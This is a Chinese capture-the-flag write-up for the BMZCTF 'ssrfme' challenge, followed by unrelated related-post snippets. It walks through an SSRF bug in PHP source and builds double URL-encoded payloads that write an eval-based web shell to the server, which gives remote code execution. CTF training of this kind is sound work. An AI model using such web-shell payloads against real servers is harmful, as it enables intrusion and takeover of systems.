<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path']; }else{
show_source(__FILE__);
exit();
}

if(strpos($path,'..') > -1){
die('This is a waf!');
}


if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.Geeker";
}

进入环境给出了源码,首先判断有没有通过GET方式传入一个值,如果传入且是给file,path传的值,就将file值保存到$url中,path值和"upload/"拼接存入$path中,如果没有通过GET方式传入值那么就高亮显示代码,然后判断我们输入的字符中有没有..如果有就输出'This is a waf!'并退出程序,然后通过strops函数比较传入的file开头是否以http://127.0.0.1/开头,没有的话就输出Hello.Geeker,如果有就包含path传入的url,并显示路径。简单构造一下payload

?file=http://127.0.0.1/?file=http://127.0.0.1/&path=<?php eval($_POST['shell']);?>&path=3.php

默认情况下,浏览器会对特殊字符进行url编码,所以php默认就会对解析后的参数进行url解码,注意是对解析后的。空格等特殊字符如果不进行编码,服务器在处理的时候可能出现问题,通过浏览器的方式访问的话,空格会自动编码为%20或者+,但我们通过上述方法嵌套参数,让服务器自己去请求http的时候就会出现问题,解决方法是进行二次编码。因为第二点说了web服务器默认就会对解析后的参数进行url解码,所以php最开始解析我们的参数时进行了一个解码,服务器通过http伪协议去访问时又会对解析后的参数进行一次解码,所以我们可以进行二次编码

#将其中一个&进行url编码,让服务器成功解析出两个参数
?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php eval($_POST['shell']);?>&path=3.php
#对整个一句话进行二次编码,免得别的字符影响结果
?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%32%37%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%37%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65&path=3.php

成功rce

然后去根目录直接发现flag

BMZCTF ssrfme的更多相关文章

  1. BMZCTF WEB_ezeval

    WEB_ezeval 进入环境,源码给出 <?php highlight_file(__FILE__); $cmd=$_POST['cmd']; $cmd=htmlspecialchars($c ...

  2. ssrfme 复现

    这道题搞了我很长时间,主要太菜了,开始复现吧 <?php     $sandbox = "sandbox/" . md5("orange" . $_SER ...

  3. HITCON2017-web ssrfme

    <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTT ...

  4. [HITCON 2017]SSRFme

    explode()   字符串转数组,用 ,号分隔数组 @mkdir()    创建目录 @chdir() 改变目录 这两的效果一样,如果在/home/php 目录下,执行mkdir('var') 和 ...

  5. BMZCTF phar???

    pchar??? 补充知识点 开始这题之前我们先补充一个知识点 phar 的文件包含 和上面类似先创建一个phar 标准包,使用 PharData 来创建,然后添加文件进去phar里面. 然后在文件包 ...

  6. BMZCTF 端午节就该吃粽子

    端午节就该吃粽子 题目如下让我们访问login.php 然后就一个登录界面查看源码发现index.php 我们直接访问发现没有结果使用伪协议读取 然后我们使用base64解密 <?php err ...

  7. BMZCTF 2020祥云杯到点了

    2020祥云杯到点了 下载附件得到三个word文档,我们打开第一个文档然后将隐藏文字显示出来 得到提示 我们查看属性应该就是日期了我们先把他记录下来 然后打开第二个文档 输入刚刚的密码 在第二个wor ...

  8. BMZCTF simple_pop

    simple_pop 打开题目得到源码 这边是php伪协议的考点,需要去读取useless.php 解码获得源码 <?php class Modifier { protected $var; p ...

  9. BMZCTF SDNISC2020_过去和现在

    SDNISC2020_过去和现在 打开附件就一张图片 根据题意感觉是图片中隐藏了什么信息 使用binwalk -e分离这里foremost不行 三个文件查看在第一个中发现flag

随机推荐

  1. 《Symfony 5全面开发》教程01、Symfony介绍

    大家好,我是伟伟权,你正在观看的是<Symfony5全面开发>视频教程. Symfony是一款优秀的PHP框架,我们到Symfony官网来查看一下Symfony的介绍.Symfony是一组 ...

  2. WIN10:字体文件路径

    比如编程时要用到Arial字体,Arial的字体绝对路径为 C:\Windows\Fonts\Arial.ttf 注意字体文件的后缀都是ttf

  3. 文件上传漏洞靶机upload-labs(1到10)

    前言 项目地址:https://github.com/c0ny1/upload-labs pass-01(前端验证) 绕过方法:https://www.cnblogs.com/bk76120/p/12 ...

  4. redis缓存雪崩和缓存穿透

    缓存雪崩:由于原有的缓存过期失效,新的缓存还没有缓存进来,有一只请求缓存请求不到,导致所有请求都跑去了数据库,导致数据库IO.内存和CPU眼里过大,甚至导致宕机,使得整个系统崩溃. 解决思路:1,采用 ...

  5. Jmeter--由PV估算tps和最大并发数

    需求 "假设一个系统的业务有登录.浏览帖子.发送新贴.回复帖子,访问高峰是上午10点,日访问高峰PV约5208(含登录1300.浏览2706.发帖526.回帖676).系统响应时间要求小于3 ...

  6. webgl未使用独立显卡报告

    0x00 楔子 最近客户在使用我们的的三维可视化平台的时候,总是会出现浏览器崩溃,webgl context lost的情况. 这种请一般出现在电脑配置很低的电脑上,比如没有独显,只有很小现存的集成显 ...

  7. 微信小程序简易富文本

  8. python 装饰器的使用

    装饰器本质上是一个Python函数,它可以让其他函数在不需要做任何代码变动的前提下增加额外功能,装饰器的返回值也是一个函数对象.它经常用于有切面需求的场景,比如:插入日志.性能测试.事务处理.缓存.权 ...

  9. FLask插件

    Flask插件 flask-session 下载 pip install Flask-session 导入 from flask_session import Session 实例化session 在 ...

  10. 4月9日 python学习总结 模块

    1.XML模块 xml是实现不同语言或程序之间进行数据交换的协议,跟json差不多,但json使用起来更简单,不过,古时候,在json还没诞生的黑暗年代,大家只能选择用xml呀,至今很多传统公司如金融 ...